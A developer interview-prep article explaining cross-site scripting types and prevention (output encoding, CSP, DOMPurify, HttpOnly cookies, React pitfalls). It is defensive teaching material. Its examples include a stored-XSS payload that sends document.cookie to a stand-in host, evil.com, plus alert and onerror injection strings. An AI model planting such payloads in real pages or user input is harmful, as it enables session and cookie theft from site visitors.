DevPrep
  • Interview Prep
  • Projects
  • Resources
  • Pricing
  • About Us
Submit Question
DevPrep
  • Pricing
  • About Us
Submit Question
  1. Home
  2. Articles
  3. Frontend Engineering
  4. What is XSS? How to Prevent Cross-Site Scripting
XLinkedInReddit
MediumFrontend Engineering

What is XSS? How to Prevent Cross-Site Scripting

D
DevPrep Team
February 9, 2026·2 min read·0
Table of Contents
  • The Attack in Simple Terms
  • Three Types of XSS
  • 1. Stored XSS (Most Dangerous)
  • 2. Reflected XSS
  • 3. DOM-based XSS
  • Prevention
  • 1. Output Encoding (Most Important)
  • 2. Content Security Policy (CSP)
  • 3. Sanitize HTML When You Must Allow It
  • 4. HttpOnly Cookies
  • React-Specific Concerns
  • Summary

By Rahul — Google Frontend Engineer

The Attack in Simple Terms

XSS (Cross-Site Scripting) happens when an attacker injects malicious JavaScript into a web page that other users view. The script runs with the same privileges as the legitimate page — it can steal cookies, capture keystrokes, redirect users, or modify the page content.

Three Types of XSS

1. Stored XSS (Most Dangerous)

The malicious script is stored on the server (in a database, comment, profile). Every user who views the page is affected.

// Attacker posts a comment:
// "Great article! <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"

// If the app renders this without escaping:
<div class="comment">
  Great article! <script>fetch(...)</script>
</div>
// The script executes for every visitor

2. Reflected XSS

The malicious script is in the URL. The server includes it in the response without escaping.

// Attacker crafts a URL:
https://example.com/search?q=<script>alert(document.cookie)</script>

// Server renders:
<p>Search results for: <script>alert(document.cookie)</script></p>

3. DOM-based XSS

The vulnerability is entirely in client-side JavaScript. The server never sees the payload.

// Vulnerable code
document.getElementById('output').innerHTML = location.hash.slice(1);

// Attacker URL:
https://example.com/#<img src=x onerror=alert(1)>
// The innerHTML renders the attacker's HTML

Prevention

1. Output Encoding (Most Important)

// NEVER insert user input as raw HTML
element.innerHTML = userInput; // DANGEROUS

// Use textContent instead
element.textContent = userInput; // SAFE — treats as text

// React does this automatically
<div>{userInput}</div>  // SAFE — React escapes by default

// But dangerouslySetInnerHTML bypasses it
<div dangerouslySetInnerHTML={{__html: userInput}} /> // DANGEROUS

2. Content Security Policy (CSP)

// HTTP header that blocks inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

// Inline scripts will not execute even if injected
// This is a defense-in-depth measure

3. Sanitize HTML When You Must Allow It

// Use DOMPurify for user-generated HTML
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(userHTML, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
  ALLOWED_ATTR: ['href']
});
// Removes scripts, event handlers, dangerous attributes

4. HttpOnly Cookies

// Even if XSS succeeds, the attacker cannot steal the cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
// document.cookie cannot access HttpOnly cookies

React-Specific Concerns

  • dangerouslySetInnerHTML: Always sanitize with DOMPurify first
  • URL injection: <a href={userInput}> — validate that it starts with https://, not javascript:
  • Server-side rendering: Ensure data is escaped before hydration

Summary

XSS injects malicious scripts into your page. Prevent it with output encoding (React does this by default), CSP headers, DOMPurify for HTML content, and HttpOnly cookies. Never use innerHTML with user input.

Related Articles

MediumFrontend Engineering

System Design #12: Design a Multi-Step Form Wizard

7 min read
MediumFrontend Engineering

Mastering Senior-Level JavaScript Interview Concepts

2 min read
MediumFrontend Engineering

System Design #9: Design a Collaborative Text Editor

9 min read

Comments (0)

Sign in to leave a comment.

No comments yet. Be the first to comment.

Table of Contents

  • The Attack in Simple Terms
  • Three Types of XSS
  • 1. Stored XSS (Most Dangerous)
  • 2. Reflected XSS
  • 3. DOM-based XSS
  • Prevention
  • 1. Output Encoding (Most Important)
  • 2. Content Security Policy (CSP)
  • 3. Sanitize HTML When You Must Allow It
  • 4. HttpOnly Cookies
  • React-Specific Concerns
  • Summary

Series

View all Frontend Engineering articles →

Practice

  • JavaScript
  • DSA
  • Machine Coding
  • System Design

Resources

  • Learning Tracks
  • Articles
  • Roadmaps
  • Compare Concepts
  • Glossary
  • Developer Tools
  • All Questions

Company

  • About
  • Pricing

Legal

  • Privacy Policy
  • Terms of Service
DevPrep

© 2026 DevPrep. All rights reserved.